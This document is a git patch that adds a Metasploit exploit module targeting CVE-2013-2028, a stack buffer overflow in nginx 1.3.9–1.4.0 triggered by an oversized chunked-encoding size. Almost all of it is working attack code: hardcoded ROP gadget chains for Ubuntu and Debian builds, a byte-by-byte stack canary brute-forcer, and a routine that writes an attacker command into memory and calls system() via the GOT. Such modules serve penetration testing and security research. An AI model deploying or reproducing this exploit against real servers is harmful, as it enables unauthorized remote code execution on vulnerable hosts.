From 81b690ae4bcbd77bd8bb516dcb8316bdb6cfefe5 Mon Sep 17 00:00:00 2001 From: LinuxGeek247 Date: Wed, 22 May 2013 13:52:00 -0400 Subject: [PATCH] Initial check in of nginx module --- .../exploits/linux/http/nginx_chunked_size.rb | 284 ++++++++++++++++++ 1 file changed, 284 insertions(+) create mode 100644 modules/exploits/linux/http/nginx_chunked_size.rb diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb new file mode 100644 index 0000000000..26eae68974 --- /dev/null +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -0,0 +1,284 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + include Exploit::Remote::Tcp + include Msf::Exploit::RopDb + + def initialize(info = {}) + + super(update_info(info, + 'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers + an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size. + This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible. + }, + 'Author' => + [ + 'Greg MacManus', # original discovery + 'hal', # exploit development + 'saelo' # exploit development + ], + 'DisclosureDate' => 'May 07 2013', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-2028'], + ['OSVDB', '93037'], + ['URL', 'http://nginx.org/en/security_advisories.html'], + ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html'] + ], + 'Privileged' => false, + 'Payload' => + { + 'BadChars' => "\x0d\x0a", + }, + 'Targets' => + [ + [ + 'Ubuntu 13.04 32bit - nginx 1.4.0', + { + 'Arch' => ARCH_CMD, + 'Ropname' => 'Ubuntu 13.04', + 'Platform' => 'unix', + 'CanaryOffset' => 5050, + 'Offset' => 12, + 'Writable' => 0x080c7330, + 'Rop' => { + 'store' => { + 'address_offset' => 1, + 'value_offset' => 3, + 'chain' => [ + 0x0804c415, # pop ecx ; add al, 29h ; ret + 0x00000000, # address + 0x080b9a38, # pop eax ; ret + 0x00000000, # value + 0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret + ], + }, + + 'dereference' => { + 'writable_offset' => 7, + 'chain' => [ + 0x08094129, # pop esi; ret + 0x080c5090, # GOT for localtime_r + 0x0804c415, # pop ecx ; add al, 29h ; ret + 0x001a4b00, # Offset to system + 0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret + 0x08076f63, # push ecx ; add al, 39h ; ret + 0x41414141, # Garbage return address + 0x00000000, # ptr to .data where contents have been stored + ], + } + } + } + ], + + [ + 'Debian Squeeze 32bit - nginx 1.4.0', + { + 'Arch' => ARCH_CMD, + 'Ropname' => 'Debian Squeeze', + 'Platform' => 'unix', + 'Offset' => 5130, + 'Writable' => 0x080b4360, + 'Rop' => { + 'store' => { + 'address_offset' => 3, + 'value_offset' => 1, + 'chain' => [ + 0x08050d93, # pop edx ; add al 0x83 ; ret + 0x00000000, # value + 0x08067330, # pop eax ; ret + 0x00000000, # address + 0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret + 0x41414141, # ebp + ], + }, + + 'dereference' => { + 'writable_offset' => 8, + 'chain' => [ + 0x0804ab34, # pop edi ; pop ebp ; ret + 0x080B4128 - + 0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment + 0x41414141, # padding (ebp) + 0x08093c75, # mov ebx, edi ; dec ecx ; ret + 0x08067330, # pop eax # ret + 0xfffb0c80, # offset + 0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret + 0x0804a3af, # call eax # system + 0x00000000 # ptr to .data where contents have been stored + ], + } + } + } + ], + + ], + + 'DefaultTarget' => 0 + )) + + register_options([ + OptPort.new('RPORT', [true, "The remote HTTP server port", 80]) + ], self.class) + + register_advanced_options( + [ + OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff]), + ], self.class) + + end + + def check + @peer = "#{rhost}:#{rport}" + + begin + res = send_request_fixed(nil) + + if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m + return Exploit::CheckCode::Appears + elsif res =~ /^Server: nginx/m + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("#{@peer} - Connection failed") + end + + return Exploit::CheckCode::Unknown + + end + + # + # Generate a random chunk size that will always result + # in a negative 64bit number when being parsed + # + def random_chunk_size(bytes=16) + return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join + end + + def send_request_fixed(data) + connect + + request = "GET / HTTP/1.1\r\n" + request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n" + request << "Transfer-Encoding: Chunked\r\n" + request << "\r\n" + request << "#{data}" + + sock.put(request) + + res = nil + + begin + res = sock.get_once(-1, 0.5) + rescue EOFError => e + # Ignore + end + + disconnect + return res + + end + + def store(buf, address, value) + rop = target['Rop'] + chain = rop['store']['chain'] + chain[rop['store']['address_offset']] = address + chain[rop['store']['value_offset']] = value.unpack('V').first + buf << chain.pack('V*') + end + + def dereference_got + buf = "" + command = payload.encoded + i = 0 + while i < command.length + store(buf, target['Writable'] + i, command[i, 4].ljust(4, ";")) + i = i + 4 + end + + chain = target['Rop']['dereference']['chain'] + chain[target['Rop']['dereference']['writable_offset']] = target['Writable'] + buf << chain.pack("V*") + + return buf + end + + def exploit + data = random_chunk_size(1024) + + if target['CanaryOffset'].nil? + data << Rex::Text.pattern_create(target['Offset'] - data.size) + else + + if not datastore['CANARY'] == 0xffffffff + print_status("Using 0x%08x as stack canary" % datastore['CANARY']) + else + print_status("Searching for stack canary") + canary = find_canary + + if canary.nil? or canary == 0x00000000 + print_error("Unable to find stack canary. Quiting") + return + else + print_status("Canary found: 0x%08x\n" % canary) + datastore['CANARY'] = canary + end + end + + data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size) + data << [datastore['CANARY']].pack('V') + data << Rex::Text.rand_text_hex(target['Offset']) + + end + + data << dereference_got + + begin + send_request_fixed(data) + rescue Errno::ECONNRESET => e + # Ignore + end + handler + end + + def find_canary + + # First byte of the canary is already known + canary = "\x00" + + # We are going to bruteforce the next 3 bytes one at a time + 3.times do |c| + print_status("Bruteforcing byte #{c + 1}") + + 0.upto(255) do |i| + data = random_chunk_size(1024) + data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size) + data << canary + data << i.chr + + unless send_request_fixed(data).nil? + print_status("Byte #{c + 1} found: 0x%02x\n" % i) + canary << i.chr + break + end + end + end + + if canary == "\x00" + return nil + else + return canary.unpack('V').first + end + end +end